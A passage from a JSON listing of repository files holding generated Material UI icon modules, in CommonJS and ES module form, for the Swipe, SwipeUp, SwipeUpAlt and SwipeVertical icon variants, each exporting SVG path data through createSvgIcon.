    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m21.15 2.85-1.02 1.02C18.69 2.17 15.6 1 12 1S5.31 2.17 3.87 3.87L2.85 2.85c-.31-.31-.85-.09-.85.36V6.5c0 .28.22.5.5.5h3.29c.45 0 .67-.54.35-.85L4.93 4.93c1-1.29 3.7-2.43 7.07-2.43s6.07 1.14 7.07 2.43l-1.22 1.22c-.31.31-.09.85.36.85h3.29c.28 0 .5-.22.5-.5V3.21c0-.45-.54-.67-.85-.36\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.5 12.71c-.28-.14-.58-.21-.89-.21H13v-6c0-.83-.67-1.5-1.5-1.5S10 5.67 10 6.5v10.74l-3.44-.72c-.37-.08-.76.04-1.03.31-.43.44-.43 1.14.01 1.58l4.01 4.01c.37.37.88.58 1.41.58h6.41c1 0 1.84-.73 1.98-1.72l.63-4.46c.12-.85-.32-1.69-1.09-2.07z\"\n}, \"1\")], 'SwipeRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwipeSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20.13 3.87C18.69 2.17 15.6 1 12 1S5.31 2.17 3.87 3.87L2 2v5h5L4.93 4.93c1-1.29 3.7-2.43 7.07-2.43s6.07 1.14 7.07 2.43L17 7h5V2z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 12.5v-6c0-.83-.67-1.5-1.5-1.5S10 5.67 10 6.5v10.74l-4.04-.85-1.21 1.23L10.13 23h8.97l1.09-7.64-6.11-2.86z\"\n}, \"1\")], 'SwipeSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwipeSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20.13 3.87C18.69 2.17 15.6 1 12 1S5.31 2.17 3.87 3.87L2 2v5h5L4.93 4.93c1-1.29 3.7-2.43 7.07-2.43s6.07 1.14 7.07 2.43L17 7h5V2z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 12.5v-6c0-.83-.67-1.5-1.5-1.5S10 5.67 10 6.5v10.74l-4.04-.85-1.21 1.23L10.13 23h8.97l1.09-7.64-6.11-2.86z\"\n}, \"1\")], 'SwipeSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwipeTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20.13 3.87C18.69 2.17 15.6 1 12 1S5.31 2.17 3.87 3.87L2 2v5h5L4.93 4.93c1-1.29 3.7-2.43 7.07-2.43s6.07 1.14 7.07 2.43L17 7h5V2z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 13.68V7.5c0-.28-.22-.5-.5-.5s-.5.22-.5.5v10.61l-4.17-.89 3.7 3.78h6.55l.92-5.44-4.24-1.89H12z\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m18.89 13.77-3.8-1.67c-.13-.06-.28-.1-.44-.1H14V7.63c0-1.32-.96-2.5-2.27-2.62C10.25 4.88 9 6.05 9 7.5v8.15l-1.87-.4c-.19-.03-1.02-.15-1.73.56L4 17.22l5.12 5.19c.37.38.88.59 1.41.59h6.55c.98 0 1.81-.7 1.97-1.67l.92-5.44c.15-.86-.29-1.72-1.08-2.12M17.08 21h-6.55l-3.7-3.78 4.17.89V7.5c0-.28.22-.5.5-.5s.5.22.5.5v6.18h1.76L18 15.56z\"\n}, \"2\")], 'SwipeTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwipeTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20.13 3.87C18.69 2.17 15.6 1 12 1S5.31 2.17 3.87 3.87L2 2v5h5L4.93 4.93c1-1.29 3.7-2.43 7.07-2.43s6.07 1.14 7.07 2.43L17 7h5V2z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 13.68V7.5c0-.28-.22-.5-.5-.5s-.5.22-.5.5v10.61l-4.17-.89 3.7 3.78h6.55l.92-5.44-4.24-1.89H12z\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m18.89 13.77-3.8-1.67c-.13-.06-.28-.1-.44-.1H14V7.63c0-1.32-.96-2.5-2.27-2.62C10.25 4.88 9 6.05 9 7.5v8.15l-1.87-.4c-.19-.03-1.02-.15-1.73.56L4 17.22l5.12 5.19c.37.38.88.59 1.41.59h6.55c.98 0 1.81-.7 1.97-1.67l.92-5.44c.15-.86-.29-1.72-1.08-2.12M17.08 21h-6.55l-3.7-3.78 4.17.89V7.5c0-.28.22-.5.5-.5s.5.22.5.5v6.18h1.76L18 15.56z\"\n}, \"2\")], 'SwipeTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwipeUp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2.06 5.56 1 4.5 4.5 1 8 4.5 6.94 5.56 5.32 3.94C5.11 4.76 5 5.62 5 6.5c0 2.42.82 4.65 2.2 6.43L6.13 14C4.49 11.95 3.5 9.34 3.5 6.5c0-.92.1-1.82.3-2.68zm11.79 6.06-2.68-5.37c-.37-.74-1.27-1.04-2.01-.67-.75.38-1.05 1.28-.68 2.02l4.81 9.6-3.24.8c-.33.09-.59.33-.7.66L9 19.78l6.19 2.25c.5.17 1.28.02 1.75-.22l5.51-2.75c.89-.45 1.32-1.48 1-2.42l-1.43-4.27c-.27-.82-1.04-1.37-1.9-1.37h-4.56c-.31 0-.62.07-.89.21z\"\n}), 'SwipeUp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwipeUp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2.06 5.56 1 4.5 4.5 1 8 4.5 6.94 5.56 5.32 3.94C5.11 4.76 5 5.62 5 6.5c0 2.42.82 4.65 2.2 6.43L6.13 14C4.49 11.95 3.5 9.34 3.5 6.5c0-.92.1-1.82.3-2.68zm11.79 6.06-2.68-5.37c-.37-.74-1.27-1.04-2.01-.67-.75.38-1.05 1.28-.68 2.02l4.81 9.6-3.24.8c-.33.09-.59.33-.7.66L9 19.78l6.19 2.25c.5.17 1.28.02 1.75-.22l5.51-2.75c.89-.45 1.32-1.48 1-2.42l-1.43-4.27c-.27-.82-1.04-1.37-1.9-1.37h-4.56c-.31 0-.62.07-.89.21z\"\n}), 'SwipeUp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwipeUpAlt.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m13 5.83 1.59 1.59L16 6l-4-4-4 4 1.41 1.41L11 5.83v4.27c-2.28.46-4 2.48-4 4.9 0 2.76 2.24 5 5 5s5-2.24 5-5c0-2.42-1.72-4.44-4-4.9z\"\n}), 'SwipeUpAlt');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwipeUpAlt.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m13 5.83 1.59 1.59L16 6l-4-4-4 4 1.41 1.41L11 5.83v4.27c-2.28.46-4 2.48-4 4.9 0 2.76 2.24 5 5 5s5-2.24 5-5c0-2.42-1.72-4.44-4-4.9z\"\n}), 'SwipeUpAlt');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwipeUpAltOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m13 5.83 1.59 1.59L16 6l-4-4-4 4 1.41 1.41L11 5.83v4.27c-2.28.46-4 2.48-4 4.9 0 2.76 2.24 5 5 5s5-2.24 5-5c0-2.42-1.72-4.44-4-4.9zM12 18c-1.66 0-3-1.34-3-3s1.34-3 3-3 3 1.34 3 3-1.34 3-3 3\"\n}), 'SwipeUpAltOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwipeUpAltOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m13 5.83 1.59 1.59L16 6l-4-4-4 4 1.41 1.41L11 5.83v4.27c-2.28.46-4 2.48-4 4.9 0 2.76 2.24 5 5 5s5-2.24 5-5c0-2.42-1.72-4.44-4-4.9zM12 18c-1.66 0-3-1.34-3-3s1.34-3 3-3 3 1.34 3 3-1.34 3-3 3\"\n}), 'SwipeUpAltOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwipeUpAltRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m13 5.41.88.88c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41L12.7 2.29a.996.996 0 0 0-1.41 0L8.71 4.88c-.39.39-.39 1.02 0 1.41s1.02.39 1.41 0l.88-.88v4.27c-2.28.46-4 2.48-4 4.9 0 2.76 2.24 5 5 5s5-2.24 5-5c0-2.42-1.72-4.44-4-4.9z\"\n}), 'SwipeUpAltRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwipeUpAltRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m13 5.41.88.88c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41L12.7 2.29a.996.996 0 0 0-1.41 0L8.71 4.88c-.39.39-.39 1.02 0 1.41s1.02.39 1.41 0l.88-.88v4.27c-2.28.46-4 2.48-4 4.9 0 2.76 2.24 5 5 5s5-2.24 5-5c0-2.42-1.72-4.44-4-4.9z\"\n}), 'SwipeUpAltRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwipeUpAltSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m13 5.83 1.59 1.59L16 6l-4-4-4 4 1.41 1.41L11 5.83v4.27c-2.28.46-4 2.48-4 4.9 0 2.76 2.24 5 5 5s5-2.24 5-5c0-2.42-1.72-4.44-4-4.9z\"\n}), 'SwipeUpAltSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwipeUpAltSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m13 5.83 1.59 1.59L16 6l-4-4-4 4 1.41 1.41L11 5.83v4.27c-2.28.46-4 2.48-4 4.9 0 2.76 2.24 5 5 5s5-2.24 5-5c0-2.42-1.72-4.44-4-4.9z\"\n}), 'SwipeUpAltSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwipeUpAltTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"15\",\n  r: \"3\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m13 5.83 1.59 1.59L16 6l-4-4-4 4 1.41 1.41L11 5.83v4.27c-2.28.46-4 2.48-4 4.9 0 2.76 2.24 5 5 5s5-2.24 5-5c0-2.42-1.72-4.44-4-4.9zM12 18c-1.66 0-3-1.34-3-3s1.34-3 3-3 3 1.34 3 3-1.34 3-3 3\"\n}, \"1\")], 'SwipeUpAltTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwipeUpAltTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"15\",\n  r: \"3\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m13 5.83 1.59 1.59L16 6l-4-4-4 4 1.41 1.41L11 5.83v4.27c-2.28.46-4 2.48-4 4.9 0 2.76 2.24 5 5 5s5-2.24 5-5c0-2.42-1.72-4.44-4-4.9zM12 18c-1.66 0-3-1.34-3-3s1.34-3 3-3 3 1.34 3 3-1.34 3-3 3\"\n}, \"1\")], 'SwipeUpAltTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwipeUpOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m20.22 10-4.15.01c-.16-.01-.31.02-.45.08l-.59.26-1.83-4.1c-.56-1.26-2.04-1.83-3.3-1.27s-1.83 2.04-1.27 3.3l3.3 7.45-1.87.39c-.19.05-.99.27-1.36 1.21L8 19.19l6.78 2.67c.49.19 1.05.18 1.53-.04l5.99-2.65c.89-.4 1.37-1.38 1.13-2.32l-1.36-5.34c-.22-.86-.97-1.47-1.85-1.51m1.27 7.34L15.5 20l-4.92-1.96 4.18-.88-4.3-9.7c-.11-.25 0-.55.25-.66s.55 0 .66.25l2.5 5.65 1.61-.71 4.65.01zM2.06 5.56 1 4.5 4.5 1 8 4.5 6.94 5.56 5.32 3.94C5.11 4.76 5 5.62 5 6.5c0 2.42.82 4.65 2.2 6.43L6.13 14C4.49 11.95 3.5 9.34 3.5 6.5c0-.92.1-1.82.3-2.68z\"\n}), 'SwipeUpOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwipeUpOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m20.22 10-4.15.01c-.16-.01-.31.02-.45.08l-.59.26-1.83-4.1c-.56-1.26-2.04-1.83-3.3-1.27s-1.83 2.04-1.27 3.3l3.3 7.45-1.87.39c-.19.05-.99.27-1.36 1.21L8 19.19l6.78 2.67c.49.19 1.05.18 1.53-.04l5.99-2.65c.89-.4 1.37-1.38 1.13-2.32l-1.36-5.34c-.22-.86-.97-1.47-1.85-1.51m1.27 7.34L15.5 20l-4.92-1.96 4.18-.88-4.3-9.7c-.11-.25 0-.55.25-.66s.55 0 .66.25l2.5 5.65 1.61-.71 4.65.01zM2.06 5.56 1 4.5 4.5 1 8 4.5 6.94 5.56 5.32 3.94C5.11 4.76 5 5.62 5 6.5c0 2.42.82 4.65 2.2 6.43L6.13 14C4.49 11.95 3.5 9.34 3.5 6.5c0-.92.1-1.82.3-2.68z\"\n}), 'SwipeUpOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwipeUpRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8.83 19.1c-.26-.6.09-1.28.73-1.41l3.58-.71-4.35-9.81c-.34-.76 0-1.64.76-1.98s1.64 0 1.98.76l2.43 5.49.84-.37c.28-.13.59-.18.9-.17l4.56.21c.86.04 1.6.63 1.83 1.45l1.23 4.33c.27.96-.2 1.97-1.11 2.37l-5.63 2.49c-.48.21-1.26.33-1.76.14l-5.45-2.27c-.24-.09-.44-.28-.54-.52m-2.08-5.72c.26-.26.29-.66.09-.95C5.68 10.74 5 8.7 5 6.5c0-.88.11-1.74.32-2.56l1.09 1.09c.3.3.79.29 1.08-.02.28-.3.25-.78-.04-1.07L5.21 1.71a.996.996 0 0 0-1.41 0L1.53 3.97c-.3.3-.29.79.02 1.08.3.28.78.25 1.07-.04L3.8 3.82c-.2.86-.3 1.76-.3 2.68 0 2.51.77 4.85 2.09 6.77.27.39.82.45 1.16.11\"\n}), 'SwipeUpRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwipeUpRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8.83 19.1c-.26-.6.09-1.28.73-1.41l3.58-.71-4.35-9.81c-.34-.76 0-1.64.76-1.98s1.64 0 1.98.76l2.43 5.49.84-.37c.28-.13.59-.18.9-.17l4.56.21c.86.04 1.6.63 1.83 1.45l1.23 4.33c.27.96-.2 1.97-1.11 2.37l-5.63 2.49c-.48.21-1.26.33-1.76.14l-5.45-2.27c-.24-.09-.44-.28-.54-.52m-2.08-5.72c.26-.26.29-.66.09-.95C5.68 10.74 5 8.7 5 6.5c0-.88.11-1.74.32-2.56l1.09 1.09c.3.3.79.29 1.08-.02.28-.3.25-.78-.04-1.07L5.21 1.71a.996.996 0 0 0-1.41 0L1.53 3.97c-.3.3-.29.79.02 1.08.3.28.78.25 1.07-.04L3.8 3.82c-.2.86-.3 1.76-.3 2.68 0 2.51.77 4.85 2.09 6.77.27.39.82.45 1.16.11\"\n}), 'SwipeUpRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwipeUpSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2.06 5.56 1 4.5 4.5 1 8 4.5 6.94 5.56 5.32 3.94C5.11 4.76 5 5.62 5 6.5c0 2.42.82 4.65 2.2 6.43L6.13 14C4.49 11.95 3.5 9.34 3.5 6.5c0-.92.1-1.82.3-2.68zm19.65 5.62 2.09 7.39-8.23 3.65-6.84-2.85.61-1.62 3.8-.75-4.35-9.83c-.34-.76 0-1.64.76-1.98s1.64 0 1.98.76l2.43 5.49 1.26-.56z\"\n}), 'SwipeUpSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwipeUpSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2.06 5.56 1 4.5 4.5 1 8 4.5 6.94 5.56 5.32 3.94C5.11 4.76 5 5.62 5 6.5c0 2.42.82 4.65 2.2 6.43L6.13 14C4.49 11.95 3.5 9.34 3.5 6.5c0-.92.1-1.82.3-2.68zm19.65 5.62 2.09 7.39-8.23 3.65-6.84-2.85.61-1.62 3.8-.75-4.35-9.83c-.34-.76 0-1.64.76-1.98s1.64 0 1.98.76l2.43 5.49 1.26-.56z\"\n}), 'SwipeUpSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwipeUpTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21.49 17.34 15.5 20l-4.92-1.96 4.18-.88-4.3-9.7c-.11-.25 0-.55.25-.66s.55 0 .66.25l2.5 5.65 1.61-.71 4.65.01z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m20.22 10-4.15.01c-.16-.01-.31.02-.45.08l-.59.26-1.83-4.1c-.56-1.26-2.04-1.83-3.3-1.27s-1.83 2.04-1.27 3.3l3.3 7.45-1.87.39c-.19.05-.99.27-1.36 1.21L8 19.19l6.78 2.67c.49.19 1.05.18 1.53-.04l5.99-2.65c.89-.4 1.37-1.38 1.13-2.32l-1.36-5.34c-.22-.86-.97-1.47-1.85-1.51m1.27 7.34L15.5 20l-4.92-1.96 4.18-.88-4.3-9.7c-.11-.25 0-.55.25-.66s.55 0 .66.25l2.5 5.65 1.61-.71 4.65.01zM2.06 5.56 1 4.5 4.5 1 8 4.5 6.94 5.56 5.32 3.94C5.11 4.76 5 5.62 5 6.5c0 2.42.82 4.65 2.2 6.43L6.13 14C4.49 11.95 3.5 9.34 3.5 6.5c0-.92.1-1.82.3-2.68z\"\n}, \"1\")], 'SwipeUpTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwipeUpTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21.49 17.34 15.5 20l-4.92-1.96 4.18-.88-4.3-9.7c-.11-.25 0-.55.25-.66s.55 0 .66.25l2.5 5.65 1.61-.71 4.65.01z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m20.22 10-4.15.01c-.16-.01-.31.02-.45.08l-.59.26-1.83-4.1c-.56-1.26-2.04-1.83-3.3-1.27s-1.83 2.04-1.27 3.3l3.3 7.45-1.87.39c-.19.05-.99.27-1.36 1.21L8 19.19l6.78 2.67c.49.19 1.05.18 1.53-.04l5.99-2.65c.89-.4 1.37-1.38 1.13-2.32l-1.36-5.34c-.22-.86-.97-1.47-1.85-1.51m1.27 7.34L15.5 20l-4.92-1.96 4.18-.88-4.3-9.7c-.11-.25 0-.55.25-.66s.55 0 .66.25l2.5 5.65 1.61-.71 4.65.01zM2.06 5.56 1 4.5 4.5 1 8 4.5 6.94 5.56 5.32 3.94C5.11 4.76 5 5.62 5 6.5c0 2.42.82 4.65 2.2 6.43L6.13 14C4.49 11.95 3.5 9.34 3.5 6.5c0-.92.1-1.82.3-2.68z\"\n}, \"1\")], 'SwipeUpTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwipeVertical.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M1 3.5h2.02C1.13 5.82 0 8.78 0 12s1.13 6.18 3.02 8.5H1V22h5v-5H4.5v2.91c-1.86-2.11-3-4.88-3-7.91s1.14-5.79 3-7.91V7H6V2H1zm12.85 8.12-2.68-5.37c-.37-.74-1.27-1.04-2.01-.67-.75.38-1.05 1.28-.68 2.02l4.81 9.6-3.24.8c-.33.09-.59.33-.7.66L9 19.78l6.19 2.25c.5.17 1.28.02 1.75-.22l5.51-2.75c.89-.45 1.32-1.48 1-2.42l-1.43-4.27c-.27-.82-1.04-1.37-1.9-1.37h-4.56c-.31 0-.62.07-.89.21z\"\n}), 'SwipeVertical');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwipeVertical.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M1 3.5h2.02C1.13 5.82 0 8.78 0 12s1.13 6.18 3.02 8.5H1V22h5v-5H4.5v2.91c-1.86-2.11-3-4.88-3-7.91s1.14-5.79 3-7.91V7H6V2H1zm12.85 8.12-2.68-5.37c-.37-.74-1.27-1.04-2.01-.67-.75.38-1.05 1.28-.68 2.02l4.81 9.6-3.24.8c-.33.09-.59.33-.7.66L9 19.78l6.19 2.25c.5.17 1.28.02 1.75-.22l5.51-2.75c.89-.45 1.32-1.48 1-2.42l-1.43-4.27c-.27-.82-1.04-1.37-1.9-1.37h-4.56c-.31 0-.62.07-.89.21z\"\n}), 'SwipeVertical');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwipeVerticalOutlined.js",
